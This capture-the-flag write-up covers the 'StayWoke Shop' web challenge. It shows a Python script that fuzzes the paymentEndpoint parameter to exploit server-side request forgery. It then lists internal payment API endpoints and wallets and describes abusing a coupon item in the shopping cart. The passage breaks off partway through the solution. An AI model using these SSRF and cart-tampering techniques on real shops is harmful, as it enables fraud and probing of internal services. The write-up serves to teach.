StayWoke Shop - localo

Category: Web
Difficulty: Easy
Author: pspaul

Description

Are you missing some essential items that were sold out in your local supermarket? You can easily stock up on these in my shop:

http://staywoke.hax1.allesctf.net/

Summery

The author provided a link to an online shop. You can buy everything you need toilet paper, tinfoil and much more. You can put up to 10 products into your shopping cart. You can use a currency called w0kecoin to pay, you just need the right bank account number. In addition to that you can lower the price a bit by using a coupon.

Solution

The website uses an internal api to process the order. We can change the POST request parameter paymentEndpoint to do a SSRF.

I fuzzed the parameter a bit.

import requests
import urllib
import html
endpoint = "checkout"
url = "http://staywoke.hax1.allesctf.net/"
s = requests.Session()

r = s.post(url+"products/2")

for i in range(0x7f):
    payload = {
    'payment': 'w0kecoin',
    'account': '0',
    'paymentEndpoint': 'http://payment-api:9090/%c' %(i)
    }
    print("Test: %d" %(i))

    req = requests.Request('POST', url+endpoint,
        headers= {
            'Conten-Type':'application/json'
        },
        json = payload,
        cookies = s.cookies
    )
    prepped = req.prepare()
    r = s.send(prepped)
    print((html.unescape(r.text.split('alert bad">')[1].split("</div")[0])))

We often get the message: Error from Payment API: "Cannot GET /[...]/wallets/0/balance\n\nTry GETting /help for possible endpoints." So there seems to be an endpoint where we can list all endpoints of the api. But two of my tests were a bit more interesting:

Test: 35
Error from Payment API: "Cannot GET /\n\nTry GETting /help for possible endpoints."
[...]
Test: 63
Error from Payment API: "Cannot GET /\n\nTry GETting /help for possible endpoints."

The characters I tested were # and ?. We can use those to trim our request and therefore a request with http://payment-api:9090/help? will list us the endpoints.

Error from Payment API: {
  "endpoints": [
    {
      "method": "GET",
      "path": "/wallets/:id/balance",
      "description": "check wallet balance"
    },
    {
      "method": "GET",
      "path": "/wallets",
      "description": "list all wallets"
    },
    {
      "method": "GET",
      "path": "/help",
      "description": "this help message"
    }
  ]
}

We can use the same method to list all wallets with http://payment-api:9090/wallets?

Error from Payment API: [{"account":"1337-420-69-93dcbbcd","balance":133500}]

We can now use this account to buy stuff.
If we select an item to buy, the url is http://staywoke.hax1.allesctf.net/products/[id]. For toilet paper it is http://staywoke.hax1.allesctf.net/products/2, if we change the id to 1 we can put the flag into our shopping cart.

But we still can't afford the flag, since it costs 2€ too much.
The news banner on the top contains a coupon to get 20% off.

[
  "neue Chemtrails gesichtet",
  "COVID-19 ist erfunden von denen da oben",
  "20% Rabatt mit dem Code I<3CORONA",
  "BND betreibt neuen Honeypot \"CSCG\" um 0days abzugreifen",
  "SARS-CoV-2 war ein Insiderjob"
]

But unfortunately we can't use this code on the flag. But we get a new item in our shopping cart if we redeem it.

If we now remove an item, the value of the coupon item stays the same.